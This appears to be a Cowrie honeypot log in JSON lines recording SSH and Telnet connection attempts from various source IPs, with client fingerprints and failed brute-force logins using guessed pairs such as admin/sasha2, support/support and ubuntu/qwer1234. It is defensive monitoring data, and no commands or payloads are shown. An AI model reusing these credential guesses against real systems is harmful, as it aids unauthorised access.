{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:14.936633Z","src_ip":"194.59.206.2","session":"fa52b106ab4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:15.021391Z","src_ip":"194.59.206.2","session":"fa52b106ab4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:15.108337Z","src_ip":"194.59.206.2","session":"fa52b106ab4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":7343,"dst_ip":"10.17.0.5","dst_port":22,"session":"959b0ae280c3","protocol":"ssh","message":"New connection: 2.57.121.112:7343 (10.17.0.5:22) [session: 959b0ae280c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:22.895060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:22.899761Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:23.003963Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sasha2","message":"login attempt [admin/sasha2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:23.492213Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sasha12","message":"login attempt [admin/sasha12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:24.600890Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sanpedro","message":"login attempt [admin/sanpedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:25.709836Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sangria","message":"login attempt [admin/sangria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:26.818128Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sandor","message":"login attempt [admin/sandor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:27.931294Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:29.038086Z","src_ip":"2.57.121.112","session":"959b0ae280c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.170.12.212","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d965d09338","protocol":"telnet","message":"New connection: 97.170.12.212:38244 (10.17.0.5:23) [session: 96d965d09338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:41.214110Z"}
{"eventid":"cowrie.session.closed","duration":13.690677642822266,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:54.904550Z","src_ip":"97.170.12.212","session":"96d965d09338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.214.131.55","src_port":40173,"dst_ip":"159.203.135.109","dst_port":22,"session":"b503c30e89b6","protocol":"ssh","message":"New connection: 102.214.131.55:40173 (159.203.135.109:22) [session: b503c30e89b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:07.576584Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:07.850586Z","src_ip":"102.214.131.55","session":"b503c30e89b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.11","src_port":12782,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4b9ad183fb","protocol":"ssh","message":"New connection: 95.215.32.11:12782 (10.17.0.5:22) [session: 1c4b9ad183fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.194411Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.199147Z","src_ip":"95.215.32.11","session":"1c4b9ad183fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.32.11","src_port":12786,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6eec5f53a00","protocol":"ssh","message":"New connection: 95.215.32.11:12786 (10.17.0.5:22) [session: e6eec5f53a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.203892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.210533Z","src_ip":"95.215.32.11","session":"e6eec5f53a00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.216053Z","src_ip":"95.215.32.11","session":"e6eec5f53a00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:13.227815Z","src_ip":"95.215.32.11","session":"e6eec5f53a00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:23:14.237056Z","src_ip":"95.215.32.11","session":"e6eec5f53a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59288,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6569ed8b0c5","protocol":"ssh","message":"New connection: 2.57.122.208:59288 (159.203.135.109:22) [session: b6569ed8b0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:16.059925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:16.347272Z","src_ip":"2.57.122.208","session":"b6569ed8b0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:16.351573Z","src_ip":"2.57.122.208","session":"b6569ed8b0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:18.833152Z","src_ip":"2.57.122.208","session":"b6569ed8b0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:20.067361Z","src_ip":"2.57.122.208","session":"b6569ed8b0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58992,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2665402e5f","protocol":"ssh","message":"New connection: 2.57.122.208:58992 (10.17.0.5:22) [session: 6e2665402e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:24:59.570386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:25:00.455760Z","src_ip":"2.57.122.208","session":"6e2665402e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:25:00.468792Z","src_ip":"2.57.122.208","session":"6e2665402e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:25:01.335277Z","src_ip":"2.57.122.208","session":"6e2665402e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:25:02.598921Z","src_ip":"2.57.122.208","session":"6e2665402e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b72fd829512","protocol":"telnet","message":"New connection: 180.235.129.180:59872 (10.17.0.5:23) [session: 3b72fd829512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:26:35.150242Z"}
{"eventid":"cowrie.session.closed","duration":7.439302206039429,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:26:42.589411Z","src_ip":"180.235.129.180","session":"3b72fd829512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34202,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbde6b6de834","protocol":"ssh","message":"New connection: 2.57.122.208:34202 (159.203.135.109:22) [session: cbde6b6de834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:27.129026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:27.224054Z","src_ip":"2.57.122.208","session":"cbde6b6de834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:27.331613Z","src_ip":"2.57.122.208","session":"cbde6b6de834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:28.132252Z","src_ip":"2.57.122.208","session":"cbde6b6de834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:29.419853Z","src_ip":"2.57.122.208","session":"cbde6b6de834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.212.215.196","src_port":38982,"dst_ip":"10.17.0.5","dst_port":23,"session":"78dc38e9ba69","protocol":"telnet","message":"New connection: 173.212.215.196:38982 (10.17.0.5:23) [session: 78dc38e9ba69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:45.836313Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35682,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe933b1a5c4","protocol":"ssh","message":"New connection: 2.57.122.208:35682 (10.17.0.5:22) [session: cbe933b1a5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:57.183333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:57.364230Z","src_ip":"2.57.122.208","session":"cbe933b1a5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:57.368452Z","src_ip":"2.57.122.208","session":"cbe933b1a5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:58.551402Z","src_ip":"2.57.122.208","session":"cbe933b1a5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:27:59.820656Z","src_ip":"2.57.122.208","session":"cbe933b1a5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0200183391571,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:45.856193Z","src_ip":"173.212.215.196","session":"78dc38e9ba69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.192.162.179","src_port":56524,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d7994561a69","protocol":"ssh","message":"New connection: 99.192.162.179:56524 (10.17.0.5:22) [session: 3d7994561a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.204228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.208928Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
